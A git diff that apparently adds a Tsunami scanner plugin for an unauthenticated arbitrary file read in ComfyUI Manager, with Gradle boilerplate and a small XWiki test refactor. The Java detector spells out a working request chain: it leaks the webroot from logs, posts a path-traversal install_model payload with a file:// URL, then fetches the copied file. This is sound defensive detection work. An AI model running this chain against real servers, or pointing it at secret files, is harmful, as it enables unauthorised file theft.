Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2024-21650")) - .setSeverity(Severity.CRITICAL) - .setTitle("XWiki RCE (CVE-2024-21650)") - .setDescription( - "XWiki is vulnerable to a remote code execution (RCE) attack through" - + " its user registration feature. This issue allows an attacker to" - + " execute arbitrary code by crafting malicious payloads in the" - + " \"first name\" or \"last name\" fields during user" - + " registration. This impacts all installations that have user" - + " registration enabled for guests. This vulnerability has been" - + " patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -169,22 +151,7 @@ public void detect_whenVulnerable_noCallbackServer_returnsVulnerability() { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2024-21650")) - .setSeverity(Severity.HIGH) - .setTitle("XWiki RCE (CVE-2024-21650)") - .setDescription( - "XWiki is vulnerable to a remote code execution (RCE) attack through" - + " its user registration feature. This issue allows an attacker to" - + " execute arbitrary code by crafting malicious payloads in the" - + " \"first name\" or \"last name\" fields during user" - + " registration. This impacts all installations that have user" - + " registration enabled for guests. This vulnerability has been" - + " patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/README.md b/doyensec/detectors/comfyui_arbitrary_read_filename/README.md new file mode 100644 index 000000000..92279c5a2 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/README.md @@ -0,0 +1,21 @@ +# Arbitrary File Read in ComfyUI Manager via filename + +## Description + +In ComfyUI it's possible to leak the content of an arbitrary file on the system. +This is due to a missing check that fails to validate that the user supplied +filename does not escape the intended output directory. + +By leveraging the `file:` protocol an attacker can read a file on the system. +After that, he can supply the webroot path, hence the file will be publicly +readable. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/build.gradle b/doyensec/detectors/comfyui_arbitrary_read_filename/build.gradle new file mode 100644 index 000000000..e69d35d49 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/build.gradle @@ -0,0 +1,69 @@ +plugins { + id 'java-library' +} + +description = 'Arbitrary File Read in ComfyUI Manager via filename Field' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation 'org.jsoup:jsoup:1.9.2' + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/comfyui_arbitrary_read_filename/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/doyensec/detectors/comfyui_arbitrary_read_filename/gradle/wrapper/gradle-wrapper.jar differ diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/comfyui_arbitrary_read_filename/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..ca025c83a --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/gradlew b/doyensec/detectors/comfyui_arbitrary_read_filename/gradlew new file mode 100755 index 000000000..23d15a936 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/gradlew @@ -0,0 +1,251 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH="\\\"\\\"" + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/gradlew.bat b/doyensec/detectors/comfyui_arbitrary_read_filename/gradlew.bat new file mode 100644 index 000000000..db3a6ac20 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH= + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/settings.gradle b/doyensec/detectors/comfyui_arbitrary_read_filename/settings.gradle new file mode 100644 index 000000000..ccb3431f0 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'comfyui-manager-arbitrary-file-read-via-filename' diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/src/main/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilename.java b/doyensec/detectors/comfyui_arbitrary_read_filename/src/main/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilename.java new file mode 100644 index 000000000..c3a0ccc0d --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/src/main/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilename.java @@ -0,0 +1,393 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.filenameread; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.security.SecureRandom; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.NoSuchElementException; +import java.util.Optional; +import javax.inject.Inject; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; + +/** A Tsunami plugin that detects a Pre-Auth File Read in ComfyUI. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "ComfyUI_fileread_filename", + version = "0.1", + description = + "This plugin detects an unauthenticated file read in ComfyUI Manager by abusing a path" + + " traversal on the filename field of the install_module endpoint.", + author = "Savino Sisco (savio@doyensec.com), Leonardo Giovannini (leonardo@doyensec.com)", + bootstrapModule = ComfyUiFileReadViaFilenameBootStrapModule.class) +public final class ComfyUiFileReadViaFilename implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_TITLE = + "Arbitrary File Read in ComfyUI Manager via filename Field"; + + private static final String PAYLOAD_TEMPLATE = + "{\n" + + " \"base\": \"FLUX.1\",\n" + + " \"description\": \"test\",\n" + + " \"filename\": \"OUTPUT_FILE\",\n" + + " \"name\": \"test\",\n" + + " \"reference\": \"test\",\n" + + " \"save_path\": \"test\",\n" + + " \"size\": \"4.71MB\",\n" + + " \"type\": \"TAESD\",\n" + + " \"url\": \"FILE_TO_LEAK\",\n" + + " \"installed\": \"False\",\n" + + " \"ui_id\": \"\"\n" + + "}"; + + static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = + "The scanner detected a ComfyUI instance vulnerable to arbitrary file read. The vulnerability" + + " can be exploited by sending a sequence of unauthenticated HTTP requests that would" + + " read the content of a file on the system and write it into the webroot path. "; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed by leaking a file from the system."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = "Update the ComfyUI instance."; + + @VisibleForTesting static final String VERSION_ENDPOINT = "api/manager/version"; + + @VisibleForTesting static final String LOGS_ENDPOINT = "internal/logs/raw"; + + @VisibleForTesting static final String WEBROOT_MESSAGE_PREFIX = "[Prompt Server] web root:"; + + @VisibleForTesting static final String OS_ENDPOINT = "api/system_stats"; + + @VisibleForTesting static final String INSTALL_MODEL_ENDPOINT = "api/manager/queue/install_model"; + + @VisibleForTesting static final String QUEUE_START_ENDPOINT = "api/manager/queue/start"; + + @VisibleForTesting static final String WEBROOT_SUBDIRECTORY = "assets"; + + @VisibleForTesting static final String FILE_TO_LEAK_POSIX = "file:///etc/hosts"; + + @VisibleForTesting + static final String FILE_TO_LEAK_WIN = "file:C:\\Windows\\system32\\drivers\\etc\\hosts"; + + @VisibleForTesting static final String LEAK_DETECTION_STRING = "127.0.0.1"; + + @VisibleForTesting static final int OUTPUT_FILENAME_LENGTH = 16; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + + private static String generateRandomString(int length) { + SecureRandom random = new SecureRandom(); + StringBuilder sb = new StringBuilder(length); + + String charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + for (int i = 0; i < length; i++) { + int index = random.nextInt(charset.length()); + sb.append(charset.charAt(index)); + } + + return sb.toString(); + } + + @Inject + ComfyUiFileReadViaFilename(@UtcClock Clock utcClock, HttpClient httpClient) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue("COMFYUI_2025_FILE_READ_FILENAME")) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + + // This is the main entry point of VulnDetector. + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("ComfyUI Pre-Auth File Read starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isComfyUi) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + /* + * Fingerprint phase for ComfyUI. + * This detects the service and the version + */ + private boolean isComfyUi(NetworkService networkService) { + String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + HttpResponse response; + try { + response = this.httpClient.send(req, networkService); + Document doc = Jsoup.parse(response.bodyString().get()); + // Checking if the service is ComfyUI + String title = doc.title(); + if (!title.contains("ComfyUI")) { + return false; + } + // Checking the version + targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT; + req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + response = this.httpClient.send(req, networkService); + + if (response.bodyString().isPresent() && !response.bodyString().get().isBlank()) { + return true; + } else { + logger.atInfo().log("ComfyUI Manager not available"); + return false; + } + } catch (IOException e) { + return false; + } + } + + private Optional findFrontendWebroot(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + String targetUri = rootUrl + LOGS_ENDPOINT; + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + try { + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK || response.bodyJson().isEmpty()) { + return Optional.empty(); + } + + // Find web root path from the logs + try { + JsonArray logs = + response.bodyJson().get().getAsJsonObject().get("entries").getAsJsonArray(); + + for (JsonElement log : logs) { + String message = log.getAsJsonObject().get("m").getAsString(); + + if (message.startsWith(WEBROOT_MESSAGE_PREFIX)) { + String webroot = message.substring(WEBROOT_MESSAGE_PREFIX.length()); + return Optional.of(webroot.strip()); + } + } + // Not found + return Optional.empty(); + } catch (IllegalStateException + | NoSuchElementException + | NullPointerException + | ClassCastException e) { + return Optional.empty(); + } + } catch (IOException e) { + return Optional.empty(); + } + } + + private Optional detectHostOs(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + String targetUri = rootUrl + OS_ENDPOINT; + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + + try { + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK || response.bodyJson().isEmpty()) { + return Optional.empty(); + } + + try { + String os = + response + .bodyJson() + .get() + .getAsJsonObject() + .get("system") + .getAsJsonObject() + .get("os") + .getAsString(); + + return Optional.of(os); + } catch (IllegalStateException + | NoSuchElementException + | NullPointerException + | ClassCastException e) { + return Optional.empty(); + } + } catch (IOException e) { + return Optional.empty(); + } + } + + // Checks whether a given ComfyUI instance is exposed and vulnerable. + private boolean isServiceVulnerable(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + + // The first HTTP request is used to leak the webroot path. + Optional webrootPathOptional = this.findFrontendWebroot(networkService); + if (!webrootPathOptional.isPresent()) { + logger.atWarning().log("Could not identify frontend web root path"); + return false; + } + String webroot = webrootPathOptional.get(); + + // The second HTTP request is used in order to detect the OS. + Optional hostOsOptional = this.detectHostOs(networkService); + if (!hostOsOptional.isPresent()) { + logger.atWarning().log("Could not identify host OS"); + return false; + } + String os = hostOsOptional.get(); + + String outputFilename = + ComfyUiFileReadViaFilename.generateRandomString(OUTPUT_FILENAME_LENGTH) + ".safetensors"; + + String fileUri; + String outputPath; + if (os.equals("posix")) { + fileUri = FILE_TO_LEAK_POSIX; + outputPath = webroot + "/" + WEBROOT_SUBDIRECTORY + "/" + outputFilename; + } else if (os.equals("nt")) { + fileUri = FILE_TO_LEAK_WIN.replace("\\", "\\\\"); + outputPath = webroot + "\\" + WEBROOT_SUBDIRECTORY + "\\" + outputFilename; + outputPath = outputPath.replace("\\", "\\\\"); + } else { + logger.atWarning().log("Could not identify host OS"); + return false; + } + + String payload = + PAYLOAD_TEMPLATE.replace("OUTPUT_FILE", outputPath).replace("FILE_TO_LEAK", fileUri); + + try { + // The third HTTP request is used to create the task and enqueue it + String targetUri = rootUrl + INSTALL_MODEL_ENDPOINT; + HttpRequest req = + HttpRequest.post(targetUri) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(payload)) + .build(); + + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK) { + return false; + } + + // The fourth HTTP request is used to start the queue execution + targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + QUEUE_START_ENDPOINT; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + + if (response.status() != HttpStatus.OK) { + return false; + } + + // Sleep to allow the task to execute + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(1)); + + // Leak the file + targetUri = rootUrl + WEBROOT_SUBDIRECTORY + "/" + outputFilename; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + + if (response.bodyString().orElse("").contains(LEAK_DETECTION_STRING)) { + logger.atInfo().log("File leak confirmed"); + return true; + } else { + return false; + } + + } catch (IOException | IllegalStateException e) { + logger.atWarning().withCause(e).log("Exception raised during detection."); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965DetectorBootstrapModule.java b/doyensec/detectors/comfyui_arbitrary_read_filename/src/main/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilenameBootStrapModule.java similarity index 67% rename from community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965DetectorBootstrapModule.java rename to doyensec/detectors/comfyui_arbitrary_read_filename/src/main/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilenameBootStrapModule.java index 3d8e951a0..37bfad96b 100644 --- a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965DetectorBootstrapModule.java +++ 